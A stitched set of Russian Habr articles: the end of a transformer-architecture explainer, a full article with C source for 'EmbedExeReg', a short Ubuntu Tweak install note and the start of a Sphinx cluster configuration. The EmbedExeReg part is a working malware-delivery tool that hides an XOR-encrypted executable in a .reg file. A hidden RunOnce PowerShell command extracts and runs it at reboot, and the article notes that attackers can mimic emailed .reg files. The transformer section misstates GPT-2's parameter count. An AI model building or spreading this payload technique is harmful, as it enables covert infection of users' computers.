Огромный успех механизма внутреннего внимания заключается в том, что он, сам по себе, обладает достаточной мощью для того, чтобы решить все задачи обучения модели. «Внимание — это всё, что вам нужно», — так говорят об этом механизме его авторы. Ключ, запрос и значение — всё это одни и те же векторы (с небольшими линейными трансформациями). Они уделяют внимание сами себе. Набор подобных механизмов даёт такой уровень нелинейности и репрезентационной мощи, который достаточен для изучения очень сложных функций.
#### Первоначальный трансформер: энкодеры и декодеры
Но авторы трансформеров не обошлись без всех тех сложных структур, которые были характерны для моделей тех лет, занимавшихся преобразованиями последовательностей в последовательности. А именно, речь идёт об архитектуре, в состав которой входил энкодер и декодер, в которой применялся механизм [обучения с принуждением](https://blog.keras.io/a-ten-minute-introduction-to-sequence-to-sequence-learning-in-keras.html).
Энкодер и декодерЭнкодер берёт входную последовательность и сводит её к характеристическому представлению всей последовательности. Это может быть либо последовательность характеристических векторов, либо один вектор, подобный тому, что показан на предыдущей схеме. Затем этот вектор передаётся декодеру, который распаковывает его в целевую последовательность. Например — в то же предложение, что было на входе, но на другом языке.
Обучение с принуждением — это механизм, который позволяет декодеру обращаться ко входному предложению. Делается это в авторегрессионной манере. Получается, что декодер пословно формирует выходное предложение, основываясь и на характеристическом векторе, и на уже сгенерированных словах. Это снимает часть нагрузки с характеристического представления последовательности: декодер может использовать пословное сэмплирование для того чтобы позаботиться о низкоуровневых структурах предложения, вроде синтаксиса и грамматики. А характеристический вектор используется при формировании семантической структуры, находящейся на более высоком уровне абстракции. Два сеанса декодирования с использованием одного и того же характеристического представления последовательности, в идеале, дадут два разных предложения с одним и тем же смыслом.
Разработчики поздних трансформеров, вроде BERT и GPT-2, полностью отказались от конфигурации энкодер/декодер. Было выяснено, что обычного набора блоков трансформера достаточно для решения, на очень высоком уровне, многих задач, предусматривающих обработку последовательностей.
> *Модели, построенные в соответствии с этим подходом, иногда называют трансформерами, в которых используются только декодеры (для авторегрессионных моделей), или трансформерами, в которых используется только энкодер (для моделей, в которых не используется маскировка).*
>
>
### Современные трансформеры
Здесь я приведу несколько примеров современных трансформеров и расскажу об их характерных чертах.
#### BERT
Модель [BERT](https://arxiv.org/abs/1810.04805) (Bidirectional Encoder Representations from Transformers) представляла собой одну из первых попыток показать то, что трансформеры способны, при решении многих языковых задач, достичь результатов, сопоставимых с человеческими. Это — ответы на вопросы, классификация тональности текстов, определение того, следует ли одно предложение, при естественном порядке речи, за другим предложением.
BERT состоит из простого набора блоков трансформера того типа, который мы описывали ранее. Этот набор был предварительно обучен на большом корпусе текстов общего характера, состоящем из 800 миллионов слов из англоязычных книг (данные взяты из BooksCorpus) и из 2,5 миллиардов слов из текстов статей английской Википедии (без разметки).
Предварительное обучение модели было ориентировано на решение двух задач:
* Маскирование токенов. Некоторое количество слов во входной последовательности было замаскировано, заменено на случайные слова или оставлено в исходном виде. Модели предлагалось предсказать, в отношении этих слов, то, какими были исходные слова. Обратите внимание на то, что модели не предлагалось восстановить всё предложение в его исходном виде. Нужно было разобраться лишь с модифицированными словами. Так как модель не знала о том, о каких словах её спросят, она изучала представление каждого слова в последовательности.
* Классификация следующего предложения. Выбирались два предложения длиной примерно 256 слов. При этом они либо (a) следовали в текстовом корпусе строго друг за другом, либо (b) были взяты из случайных мест. Модели нужно было разобраться с тем — к какому классу (a или b) нужно отнести эти предложения.
Модель BERT использует систему токенизации WordPiece, которая выдаёт последовательности, находящиеся где-то между теми, где элементами являются слова, и теми, где речь идёт об отдельных символах. Она разбивает слова, вроде `walking`, на токены `walk` и `##ing`. Это позволяет модели делать некоторые заключения, основанные на структуре слов. Два глагола, в конце которых имеется `-ing`, имеют схожие грамматические функции. А два глагола, начинающиеся с `walk-`, имеют схожие семантические функции.
Входные данные предварялись специальным токеном . Выходной вектор, соответствующий этому токену, использовался как представление предложения в задачах классификации предложений, вроде той, что была описана выше (в противовес глобальному усредняющему пуллингу по всем векторам, который мы использовали в нашей модели, решающей задачу классификации).
Когда предварительное обучение завершено — после набора блоков трансформера добавляют один слой, ориентированный на решение конкретной задачи, который приводит выход универсальной модели к выходу, имеющему смысл для этой задачи. В задачах классификации это выглядит как обработка первого выходного токена функцией Softmax и назначение вероятностей классам. При решении более сложных задач последний слой, преобразующий последовательность в другую последовательность, тоже создаётся под конкретную задачу.
Затем всю модель переучивают для того, чтобы подстроить её под имеющуюся задачу.
Проводя эксперимент, предусматривающий удаление некоторых компонентов ИИ-систем в целях исследования их вклада в общий результат (ablation study), авторы показали, что наиболее значительные улучшения, в сравнении с ранее существовавшими моделями, даёт двунаправленная природа BERT. Получается, что ранее существовавшие модели, вроде GPT, использовали авторегрессионную маску, которая позволяла механизму внутреннего внимания работать лишь с предыдущими токенами. А то, что механизм внимания BERT направлен на всю последовательность, является главной причиной улучшения характеристик модели.
Именно поэтому английская буква B в аббревиатуре BERT — означает «bidirectional».
Самая крупная BERT-система использует 24 блока трансформера, 1024 измерений эмбеддинга и 16 блоков механизма внутреннего внимания. В результате эта модель имеет 340 миллионов параметров.
#### GPT-2
[GPT-2](https://openai.com/blog/better-language-models/) (Generative Pre-trained Transformer 2) — это первая модель, основанная на трансформерах, которая попала в заголовки [новостей](https://www.bbc.com/news/technology-47249163), что случилось после неоднозначного решения OpenAI не выпускать полную версию модели.
> *Причина заключалась в том, что модель GPT-2 способна генерировать довольно правдоподобный текст, подобный фейковым новостям, которые во множестве выходили во время выборов в США в 2016 году. С использованием подобной модели всю эту масштабную компанию мог бы провести один человек.*
>
>
Первый приём, использованный авторами GPT-2, заключался в создании нового высококачественного набора данных. Хотя и модель BERT использовала высококачественные данные, их источникам (написанным с любовью книгам и хорошо отредактированным статьям Википедии) не хватало разнообразия авторского стиля. Для того чтобы собрать более разнообразные данные, не ухудшая при этом их качества, авторы модели использовали ссылки из социальной сети Reddit. Была собрана большая коллекция текстов, отличающихся определённым минимальным уровнем поддержки сообщества сайта (на Reddit это называют «кармой»).
GPT-2, на фундаментальном уровне — это языковая модель для генерирования текстов. Поэтому в ней, при реализации механизма внутреннего внимания, используется маскирование. Так сделано и в модели, которую мы рассматривали выше. Здесь, для токенизации текстов, применяется алгоритм BPE (Byte Pair Encoding, кодирование пар байтов). При таком подходе, как и при использовании WordPiece, слова при кодировании разбивают на токены, которые немного больше отдельных символов, но меньше целых слов.
Модель GPT-2 очень похожа на нашу модель для генерирования текстов, рассмотренную выше. Между моделями имеются небольшие различия, в частности, речь идёт о порядке слоёв и о том, что в GPT-2 используются дополнительные приёмы для обучения более глубоких, чем у нас, слоёв модели. Самая большая модель GPT-2 использует 48 блоков трансформера, длину последовательности в 1024, 1600 измерений эмбеддинга и имеет 1,5 миллиона параметров.
Подобные модели показывают эталонные результаты на многих задачах. В задаче сжатия данных из Википедии, которую мы уже пытались решить, они достигают уровня сжатия в 0,93 бита на байт.
#### Transformer-XL
Хотя трансформеры представляют собой огромный шаг вперёд в моделировании долгосрочных зависимостей, те модели, которые мы рассматривали до сих пор, всё ещё имеют одно фундаментальное ограничение. Оно заключается в размерах входных данных. Так как размер матриц скалярных произведений квадратично зависит от длины последовательности, это, по мере увеличения длины входной последовательности, быстро превращается в узкое место системы. [Transformer-XL](https://arxiv.org/abs/1901.02860) — это один из первых трансформеров, ориентированных на решение этой проблемы.
В процессе обучения длинные фрагменты текстов (их длина превышает ту, с которой может работать модель) разбивают на более короткие сегменты. Каждый сегмент обрабатывается в последовательном режиме, при этом данные для механизма внутреннего внимания рассчитываются на основе текущего и предыдущего сегментов. Градиенты же вычисляются только на основе текущего сегмента, но информация продолжает распространяться по сети по мере движения окна выборки сегмента по тексту. В слое n, теоретически, может быть использована информация из прошлого сегмента, удалённого от текущего на n позиций.
> *Похожий приём в обучении RNN называют TBPTT (Truncated BackPropagation Through Time, усечённый метод обратного распространения ошибки во времени). На вход модели подают очень длинную последовательность, но механизм обратного распространения ошибки применяется лишь к части этой последовательности. При этом та часть последовательности, для которой градиенты не вычисляется, всё равно оказывает влияние на значения скрытых состояний той части последовательности, для которой градиенты вычисляются.*
>
>
Для того чтобы заставить подобный механизм работать, авторам пришлось отказаться от стандартной схемы, предусматривающей использование позиционной кодировки или позиционных эмбеддингов. Так как позиционная кодировка абсолютна, она, для каждого сегмента, будет меняться. Её применение не приведёт к созданию однородного эмбеддинга по всей последовательности. Вместо этого авторы модели использовали относительную кодировку. Для каждого выходного вектора используется последовательность позиционных векторов, отличная от других таких последовательностей, задающая не абсолютную позицию, а расстояние до текущего выхода модели.
Для этого необходимо переместить позиционную кодировку в механизм внимания (что подробно описано в публикации по Transformer-XL). Одной из сильных сторон такого хода является тот факт, что получившийся в результате трансформер, скорее всего, будет лучше обобщать последовательности, длина которых заранее неизвестна.
#### Разреженные трансформеры
Разреженные трансформеры ([Sparse transformers](https://openai.com/blog/sparse-transformer/)) непосредственно направлены на решение проблемы квадратичного роста использования памяти, которая имеется у обычных трансформеров. Вместо вычисления полностью заполненной матрицы весов механизма внимания (размеры которой квадратично зависят от длины входной последовательности) эти модели вычисляют такие веса лишь для избранных пар входных токенов. Это приводит к появлению разреженной матрицы механизма внимания, в которой имеется лишь nn явно заданных элементов.
Это позволяет моделям работать с контекстами очень больших размеров. Например — при решении задач генерирования изображений, когда имеются сильные зависимости между пикселями. Компромисс, на который приходится идти тому, кто пользуется такой моделью, заключается в том, что модель не изучает то, что разреженные структуры не дают ей изучать. Поэтому решение об использовании разреженной матрицы приводит к «отключению» некоторых взаимодействий между входными токенами, которые могли бы оказаться полезными для модели. Но при этом два элемента, которые не связаны напрямую, могут взаимодействовать в более высоких слоях трансформера (это похоже на то, как в свёрточных сетях, используя больше свёрточных слоёв, создают более крупное рецепторное поле).
Разреженные трансформеры, помимо возможности обучать модели на последовательностях очень большой длины, предлагают красивое решение задачи разработки механизма внедрения в модель априорных знаний о природе обрабатываемых ею данных (inductive bias). Мы представляем входные данные модели в виде набора неких сущностей (слов, символов, пикселей изображения, узлов графа) и, настраивая порядок построения разреженной матрицы, указываем модели на то, какие сущности, по нашему мнению, связаны. Остальное — лишь вопрос создания подходящего трансформера и проверка возможностей по его обучению.
### Решение крупномасштабных задач с помощью трансформеров
Серьёзным узким местом трансформеров является тот факт, что при их обучении в механизме внутреннего внимания используются матрицы скалярных произведений векторов. А именно, для последовательности длиной t получается матрица, содержащая t2 элементов. С использованием стандартных чисел с одинарной точностью (32 бита) и при t=1000 пакет из 16 таких матриц занимает около 250 Мб памяти. Так как на реализацию одной операции механизма внутреннего внимания нужно, по меньшей мере, четыре таких пакета (до и после Softmax-слоя и ещё — их градиенты), это ограничивает нас, при использовании видеокарты с 12 Гб памяти, самое большее, 12 слоями. На практике получается даже меньше слоёв, так как входные и выходные данные тоже занимают много памяти (хотя главный потребитель памяти — это матрицы скалярных произведений).
При этом [модели](https://openai.com/blog/sparse-transformer/), описываемые в различных публикациях, могут включать в себя последовательности длиной более 12000 элементов и иметь около 50 слоёв. В таких моделях используются разреженные матрицы скалярных произведений. Эти модели, конечно, обучают на вычислительных кластерах, но для выполнения расчётов в ходе прямого и обратного распространения сигнала по сети, всё равно, нужен самостоятельный графический ускоритель. Как вместить таких монстров в 12 Гб памяти? Вот три основных приёма, используемых для решения этой задачи:
* Использование чисел половинной точности. Современные GPU и TPU могут производить эффективные тензорные вычисления на 16-битных тензорах. Для того чтобы это сделать — недостаточно просто взять и установить dtype тензора в `torch.float16`. В некоторых частях сети, вроде той, где вычисляется функция потерь, нужна 32-битная точность. Но большинство подобных задач можно, без особого труда, решить с использованием [существующих библиотек](https://github.com/NVIDIA/apex). В принципе, это позволяет в два раза снизить требования модели к памяти.
* Накопление градиента. При использовании больших моделей у нас может быть возможность выполнить расчёты, необходимые для организации прямого и обратного прохождения сигнала по сети, только для одного пакета из набора пакетов. Использование отдельного пакета, а не набора из нескольких пакетов, скорее всего, не позволит наладить стабильное обучение модели. К счастью, можно сначала выполнить подобные расчёты для отдельных пакетов из большого набора, а потом просто суммировать найденные градиенты (это — следствие многомерного [цепного правила](https://youtu.be/7mTcWrnexkk?t=195)). Когда мы достигаем окончания набора пакетов, мы, за один шаг, проводим операцию градиентного спуска, и обнуляем градиент. В PyTorch это делается очень просто. Предположим, видно, что вызов `optimizer.zero_grad()` в цикле обучения выглядит как излишняя трата системных ресурсов. Если этого вызова не делать, то новые градиенты просто прибавляются к старым.
* Использование контрольных точек при вычислении градиента. Если модель настолько велика, что в памяти не помещаются даже данные, необходимые для расчёта прямого и обратного прохождения сигнала, можно, за счёт снижения эффективности вычислений, сэкономить память. При использовании контрольных точек модель делится на секции. Для каждой секции выполняют вычисления, необходимые для нахождения градиента, не меняя промежуточные данные обучения остальных секций. В PyTorch имеются [специальные утилиты](https://pytorch.org/docs/stable/checkpoint.html) для организации работы в таком стиле. Подробности об этом можно почитать [здесь](https://medium.com/huggingface/training-larger-batches-practical-tips-on-1-gpu-multi-gpu-distributed-setups-ec88c3e51255).
### Итоги
Вполне возможно, что трансформеры окажутся простейшей архитектурой машинного обучения, которая в течение десятилетий будет занимать ведущие позиции в этой сфере. И если вы ещё ими не пользовались — есть множество веских причин обратить на них внимание.
Во-первых, существующие ограничения производительности трансформеров — это ограничения исключительно аппаратные. В отличие от свёрточных сетей или LSTM-моделей, возможности трансформеров полностью определяются тем, насколько большую модель можно уместить в памяти GPU, и тем, сколько данных через неё можно пропустить за разумное время. Я не сомневаюсь в том, что мы, в итоге, достигнем момента, когда увеличение количества слоёв трансформеров и увеличение объёмов обрабатываемых ими данных больше не будет приводить к улучшениям. Но мы, судя по всему, пока до этого момента не добрались.
Во-вторых, трансформеры — это исключительно универсальные системы. Они уже достигли больших успехов в языковом моделировании, показали кое-какие результаты, более скромные, в анализе изображений и музыки. Но трансформеры обладают таким уровнем универсальности, который прямо-таки ждёт, когда его кто-то задействует в других задачах. Базовый трансформер — это модель, занимающаяся преобразованием последовательности в последовательность. Поэтому, до тех пор, пока данные представлены набором неких элементов — их можно обработать с помощью трансформера. Всё остальное, что известно о данных (вроде их локальной структуры) можно добавить в модель посредством позиционных эмбеддингов или путём изменения структуры матрицы механизма внимания (делая её разреженной или маскируя некоторые её части).
Это приходится особенно кстати в мультимодальном обучении. Можно легко представить захваченное изображение в виде комбинации последовательности пикселей и символов, спроектировать какие-нибудь хитрые эмбеддинги, продумать структуру разреженных матриц для того чтобы помочь модели понять то, как комбинировать и сопоставлять эти пиксели и символы. Если представить все наши знания из некоей сферы в виде реляционной структуры вроде мультимодального графа знаний (как рассказано [здесь](https://content.iospress.com/articles/data-science/ds007)), можно задействовать простые блоки трансформера для передачи информации между мультимодальными элементами, а разреженные структуры позволят управлять тем, какие именно элементы напрямую друг с другом взаимодействуют.
До сих пор трансформеры, в основном, используются в языковых моделях. Я жду, что через некоторое время их начнут использовать и в других областях, делая это не только ради повышения скорости работы, но и ради упрощения существующих моделей, а так же — для того, чтобы дать практикам более простые и понятные способы передачи в модели априорных знаний о природе обрабатываемых ими данных.
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/594333/ | null | ru | null |
# Встраиваем вирусный exe в файл *.reg
Сравнительно недавно я выпустил экспериментальный проект под названием «EmbedExeLnk» — этот инструмент генерировал файл .lnk, содержащий встроенную полезную нагрузку EXE. Я развил эту концепцию дальше и создал инструмент, который создаёт файл реестра Windows (.reg), содержащий полезную нагрузку EXE.
Файл .reg содержит простой текстовый список ключей реестра и значений для импорта. Это означает, что мы можем запланировать запуск программы при следующем запуске:
```
REGEDIT4 [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] "StartupEntryName"="C:\\test\\program.exe"
```
Ключи Run/RunOnce позволяют передавать параметры конкретному EXE-файлу, и это можно использовать это для исполнения скриптов. Проще всего использовать команду PowerShell для загрузки и выполнения EXE-файла с удалённого сервера. Однако мне хотелось пойти дальше и не требовать дополнительного скачивания файлов.
Я начал добавлять случайные бинарные данные в конец валидного файла .reg, чтобы проверить, будут ли отображаться какие-либо ошибки. К счастью, ключи реестра импортировались правильно, и никаких сообщений об ошибках не появлялось — ошибка происходила в режиме silently failed, то есть пользователь об этом не знал. Это означает, что добавление полезной нагрузки EXE в конец файла .reg безопасно.
Отлично, у нас есть файл .reg, содержащий основную полезную нагрузку. Нужно придумать, как запустить выполнение встроенной программы. Поскольку полезная нагрузка выполняется после перезагрузки устройства, возникает **первая трудность**: мы не знаем, где на целевом компьютере хранится файл .reg. Жёстко задавать конкретный путь не будем, вместо этого напишем команду PowerShell для самостоятельного поиска файла .reg на жёстком диске после перезагрузки.
**Вторая трудность** заключается в невозможности выполнения полезной нагрузки из файла .reg напрямую, поскольку данные EXE хранятся в конце файла. Это означает, что команде PowerShell нужно сначала извлечь данные EXE из файла .reg и скопировать их в отдельный файл .exe перед выполнением.
Я создал команду PowerShell, которая выполняла все перечисленные выше операции — она успешно работала при запуске непосредственно из cmd.exe, но вообще не выполнялась при вставке в раздел реестра RunOnce. Странно, почему так?
Оказалось, что максимальна длина значения ключей реестра Run/RunOnce — 256 символов. Если значение превышает эту длину, оно игнорируется. Моя команда была длиной более 500 символов, поэтому она изначально не работала.
Есть несколько способов решения этой проблемы. Я решил добавить дополнительный «этап» в цепочку загрузки, чтобы обеспечить максимальную гибкость — файл .reg также будет содержать встроенный файл .bat. Большая часть логики исходной команды будет перемещена в данные .bat, а значение RunOnce будет содержать короткую команду PowerShell для выполнения встроенного пакетного файла.
Я также использовал базовое шифрование XOR для полезной нагрузки EXE, которое я написал для исходного проекта EmbedExeLnk.
Окончательный файл .reg будет иметь следующую структуру:
```
<.reg data>
<.bat data>
<.exe data>
```
Пример файла:
```
REGEDIT4
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"startup_entry"="cmd.exe /c \"PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\""
\xFF\xFF
cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
```
Приведённый выше пример файла можно разбить на 3 части:
#### Данные .reg-файла
Создаётся значение с именем `startup_entry` в ключе `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`. Это приведёт к выполнению следующей команды при следующей загрузке компьютера:
```
cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
```
Эта команда ищет на диске C файл .reg, который соответствует указанному размеру файла (в данном случае `0x000E7964`).. Затем он копирует этот reg-файл в tmpreg.bat в папке Temp и выполняет его.
Файл содержит `\xFF\xFF` после начальных данных файла .reg — это не является строго обязательным, но позволяет гарантировать, что синтаксический анализатор импорта реестра даст сбой и остановится на этом этапе.
#### Данные .bat
Следующий блок данных содержит команды .bat:
```
cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
```
Эта команда извлекает основную полезную нагрузку EXE из конца текущего файла. Смещение начальной точки EXE жёстко запрограммировано генератором (в данном случае 640 байт). EXE копируется в папку Temp, расшифровывается и выполняется.
**Примечание**. Когда батник запускается, он выполняет строки в исходном файле .reg, прежде чем достигнет содержимого .bat. Это не должно иметь каких-либо побочных эффектов..
#### Данные .exe
Последний блок данных содержит зашифрованные полезные данные .exe:
Основной недостаток этого метода в том, что для импорта файлов .reg требуются права администратора. Другой недостаток — основная полезная нагрузка не выполняется до следующей перезагрузки, что означает, что она вообще не будет выполняться, если пользователь удалит файл .reg до этого момента. Хотя это и не является хорошей практикой, файлы .reg часто пересылаются внутри организаций по email. Это означает, что злоумышленник может сымитировать такую рассылку.
Полный код ниже:
```
#include
#include
DWORD CreateRegFile(char \*pExePath, char \*pOutputRegPath)
{
char szRegEntry[1024];
char szBatEntry[1024];
char szStartupName[64];
BYTE bXorEncryptValue = 0;
HANDLE hRegFile = NULL;
HANDLE hExeFile = NULL;
DWORD dwExeFileSize = 0;
DWORD dwTotalFileSize = 0;
DWORD dwExeFileOffset = 0;
BYTE \*pCmdLinePtr = NULL;
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
char szOverwriteSearchRegFileSizeValue[16];
char szOverwriteSkipBytesValue[16];
BYTE bExeDataBuffer[1024];
// set xor encrypt value
bXorEncryptValue = 0x77;
// set startup entry name
memset(szStartupName, 0, sizeof(szStartupName));
strncpy(szStartupName, "startup\_entry", sizeof(szStartupName) - 1);
// generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
memset(szRegEntry, 0, sizeof(szRegEntry));
\_snprintf(szRegEntry, sizeof(szRegEntry) - 1,
"REGEDIT4\r\n"
"\r\n"
"[HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]\r\n"
"\"%s\"=\"cmd.exe /c \\\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse \*.reg ^| where-object {$\_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\\"\"\r\n"
"\r\n"
"\xFF\xFF\r\n"
"\r\n", szStartupName);
// generate bat file data
memset(szBatEntry, 0, sizeof(szBatEntry));
\_snprintf(szBatEntry, sizeof(szBatEntry) - 1,
"cmd /c \"powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;\"\r\n"
"exit\r\n", bXorEncryptValue);
// create output reg file
hRegFile = CreateFile(pOutputRegPath, GENERIC\_WRITE, 0, NULL, CREATE\_ALWAYS, FILE\_ATTRIBUTE\_NORMAL, NULL);
if(hRegFile == INVALID\_HANDLE\_VALUE)
{
printf("Failed to create output file\n");
return 1;
}
// open target exe file
hExeFile = CreateFile(pExePath, GENERIC\_READ, 0, NULL, OPEN\_EXISTING, FILE\_ATTRIBUTE\_NORMAL, NULL);
if(hExeFile == INVALID\_HANDLE\_VALUE)
{
printf("Failed to open exe file\n");
// error
CloseHandle(hRegFile);
return 1;
}
// store exe file size
dwExeFileSize = GetFileSize(hExeFile, NULL);
// calculate total file size
dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
\_snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);
// calculate exe file offset
dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
\_snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);
// find the offset value of the total reg file length in the command-line arguments
pCmdLinePtr = (BYTE\*)strstr(szRegEntry, "\_.length -eq 0x00000000}");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
pCmdLinePtr += strlen("\_.length -eq ");
// update value
memcpy((void\*)pCmdLinePtr, (void\*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));
// find the offset value of the number of bytes to skip in the command-line arguments
pCmdLinePtr = (BYTE\*)strstr(szBatEntry, "select -Skip 000000)");
if(pCmdLinePtr == NULL)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
pCmdLinePtr += strlen("select -Skip ");
// update value
memcpy((void\*)pCmdLinePtr, (void\*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));
// write szRegEntry
if(WriteFile(hRegFile, (void\*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// write szBatEntry
if(WriteFile(hRegFile, (void\*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// append exe file to the end of the reg file
for(;;)
{
// read data from exe file
if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
// check for end of file
if(dwBytesRead == 0)
{
break;
}
// "encrypt" the exe file data
for(DWORD i = 0; i < dwBytesRead; i++)
{
bExeDataBuffer[i] ^= bXorEncryptValue;
}
// write data to reg file
if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hRegFile);
return 1;
}
}
// close exe file handle
CloseHandle(hExeFile);
// close output file handle
CloseHandle(hRegFile);
return 0;
}
int main(int argc, char \*argv[])
{
char \*pExePath = NULL;
char \*pOutputRegPath = NULL;
printf("EmbedExeReg - www.x86matthew.com\n\n");
if(argc != 3)
{
printf("Usage: %s [exe\_path] [output\_reg\_path]\n\n", argv[0]);
return 1;
}
// get params
pExePath = argv[1];
pOutputRegPath = argv[2];
// create a reg file containing the target exe
if(CreateRegFile(pExePath, pOutputRegPath) != 0)
{
printf("Error\n");
return 1;
}
printf("Finished\n");
return 0;
}
```
Вот такие дела. Спасибо за внимание!
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Как открыть сейф с помощью ручки](https://habr.com/ru/company/cloud4y/blog/670048/)
→ [Сделайте Linux похожим на Windows 95](https://habr.com/ru/company/cloud4y/blog/653949/)
→ [Как распечатать цветной механический телевизор на 3D-принтере](https://habr.com/ru/company/cloud4y/blog/668962/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [Взлёт и падение игрового чипа 6502](https://habr.com/ru/company/cloud4y/blog/674940/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. А ещё напоминаем про второй сезон нашего сериала ITить-колотить. Его можно посмотреть на [YouTube](https://youtu.be/8arneYYzsJw)и [ВКонтакте](https://vk.com/video/playlist/-114833493_1). | https://habr.com/ru/post/680378/ | null | ru | null |
# В Ubuntu Tweak появилась возможность восстанавливать рабочий стол
Ubuntu Tweak — это инструмент для ОС Ubuntu, который позволяет настроить систему, установки рабочего стола и ещё много чего.
В новой версии Ubuntu Tweak 0.5.6 beta появилась возможность сделать копию рабочего стола с его настройками и параметрами и, если в будущем захочется вернуться к этим сохранённым параметрам — нет проблем! Новая функция называется Desktop Recovery. Разработчики предупреждают, что в бета-версия может быть не стабильна. Текущая версия программы поддерживает версии Ubuntu только начиная с 9.10.
Чтобы установить программу, выполните в терминале следующие три команды.
Добавить PPA в источники приложений:
`sudo add-apt-repository ppa:ubuntu-tweak-testing/ppa`
Обновить:
`sudo apt-get update`
И скачать с установкой:
`sudo apt-get install ubuntu-tweak`
Ниже представлен скриншот новой функции.
 | https://habr.com/ru/post/102558/ | null | ru | null |
# Sphinx — Распределённый поиск. Выполнение REPLACE для distributed индекса
Статья нацелена на тех кто уже знает что такое Sphinx и SphinxQL
Цель: Обеспечить непрерывность работы поиска по сайту с помощью Sphinx в момент проведения технических работ над одной из нод Sphinx кластера.
Sphinx отличный инструмент для организации поиска по сайту. В проекте в котором я участвую поиск объявлений происходит с помощью Sphinx. Объявления хранятся в бд в EAV модели а поиск по ним выполняет Sphinx затем объявления извлекаются по найденным сфинксом идентификаторам. Таким образом если Sphinx перестанет работать то это скажется на всём сайте.
Для работы используются rt индексы sphinx для моментального внесения изменений в поисковую выдачу если какое либо объявление будет отредактировано или забанено. Пока это работало на одной ноде всё было хорошо до тех пор пока не возникало необходимости внести изменения в саму структуру индексов. Для изменения списка атрибутов в поисковом индексе необходимо было править конфигурацию, перезапускать сфинкс и выполнять переиндексацию объявлений. Для того чтобы это производить без остановки работы сайта решено было построить кластер с одной главной нодой фактически выполняющей роль балансировщика и двумя дочерними нодами содержащими индекс и являющимися зеркальными между собой.
**Настройка секций indexer и searchd в целом обычная**
```
indexer
{
}
searchd
{
listen = 127.0.0.1:3301 # Порт для Sphinx Api
listen = 127.0.0.1:3309:mysql41 # Порт для SphinxQL
log = ./sphinx-log-searchd.log
query_log = ./sphinx-log-query.log
pid_file = ./sphinx-log-searchd.pid
